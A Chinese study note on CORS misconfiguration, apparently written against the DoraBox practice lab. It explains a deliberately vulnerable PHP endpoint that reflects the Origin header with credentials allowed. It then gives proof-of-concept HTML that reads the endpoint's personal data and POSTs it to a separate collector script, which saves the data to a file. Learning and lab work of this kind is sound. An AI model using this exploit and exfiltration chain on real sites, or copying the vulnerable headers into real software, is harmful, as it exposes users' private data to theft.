Cors運行機制:
在瀏覽器進行請求時,自動在請求頭中添加Origin字段,
服務端通過驗證Origin字段來判斷請求是否被允許,從而實現瀏覽器進行跨源訪問
Cors漏洞:
瀏覽器自動在 Http 請求頭加上Origin字段,服務器通過判斷Origin字段的值來判斷
請求是否可以讀取本站資源。
1 <?php 2 if (@$_SERVER['HTTP_ORIGIN']){ 3 header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']); 4 }else{ 5 header("Access-Control-Allow-Origin: *"); 6 } 7 header("Access-Control-Allow-Headers: X-Requested-With"); 8 header("Access-Control-Allow-Credentials: true"); 9 header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS"); 10 11 $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中華人民共和國', 'sex' => 'Cool Man'); 12 echo json_encode($info); 13 ?>
1、當請求這個頁面時,程序首先判斷是否有Origin字段,
2、如果有,設置Access-Control-Allow-Origin為請求時的origin的值
如果沒有則設置其值為" * ",表示任意域名。
3、判斷完成后在返回包的頭部加上另外三個字段,分別表示為允許自定義加入的頭字段
是否需要帶Cookie進行請求,允許使用的請求方式。
4、然后返回json信息
很明顯,這里的Access-Control-Allow-Origin配置有問題,這樣配置無異於是允許
所有來自其他域的請求來訪問本站資源。
構造POC
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Cors</title> </head> <body> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if(xhr.readyState == 4){ alert(xhr.responseText); } } // xhr.withCredentials = true; xhr.open("GET",'http://192.168.160.1/DoraBox-master/csrf/userinfo.php'); xhr.send(); } cors(); </script> </body> </html>
當網站用戶點擊含有惡意代碼的url時,便會通過ajax的方式,
請求存在Cors漏洞的網站,由於其允許其他域進行請求
剛才判斷是否有Origin可以去掉,直接替換成else{}里面的內容
在次惡意鏈接,還是會彈框輸出信息
1 <?php 2 // if (@$_SERVER['HTTP_ORIGIN']){ 3 // header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']); 4 // }else{ 5 // header("Access-Control-Allow-Origin: *"); 6 // } 7 header("Access-Control-Allow-Origin: *"); 8 header("Access-Control-Allow-Headers: X-Requested-With"); 9 header("Access-Control-Allow-Credentials: true"); 10 header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS"); 11 12 $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中華人民共和國', 'sex' => 'Cool Man'); 13 echo json_encode($info); 14 ?>
但是如果我們把" * "替換為確定允許訪問的域名,baidu.com
header("Access-Control-Allow-Origin: baidu.com");
當 "Access-Control-Allow-Credentials: true" ,並且 "Access-Control-Allow-Origin: baidu.com" 時
我們也不是不能跨域訪問的
剛才可以訪問是因為惡意鏈接中 // xhr.withCredentials = true; 被注釋掉了,
這個設置為true時,瀏覽器才會發送cookie,否則只有服務器單方面設置接收Cookie是沒有用的
我們可以看到控制台中的報錯信息,谷歌翻譯
此時 Access-Control-Allow-Origin: 不能設置為" * ",需要確切指出允許的域名。
用戶點擊構造好的url時,將數據傳遞到本地
Cors.html

1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>Cors</title> 6 </head> 7 <body> 8 <script> 9 function cors() { 10 var xhr = new XMLHttpRequest(); 11 var xhr1 = new XMLHttpRequest(); 12 xhr.onreadystatechange = function () { 13 if(xhr.readyState == 4){ 14 alert(xhr.responseText) 15 var data = xhr.responseText; 16 xhr1.open("POST","http://192.168.160.1:8080/CSRF/result.php",true); 17 alert(1); 18 xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 19 alert(data); 20 xhr1.send("T1="+escape(data)); 21 // body = document.getElementsByTagName('body') 22 // body[0].innerHTML = xhr.responseText; 23 } 24 } 25 //xhr.withCredentials = true; 26 xhr.open("GET",'http://192.168.160.1/DoraBox-master/csrf/userinfo.php'); 27 xhr.send(); 28 } 29 cors(); 30 </script> 31 </body> 32 </html>
需要在本地寫上一個result.php
result.php

1 <?php 2 $data = $_POST['T1']; 3 echo $data; 4 $myfile = fopen("data.html","w"); 5 fwrite($myfile,$data); 6 fclose($myfile);
用戶點擊之后本地就會生成一個data.html,並且將數據寫入在里面
圖片中使用的是DORABOX靶場
學習筆記,如有錯誤請師傅們指出
參考鏈接:https://www.freebuf.com/column/194652.html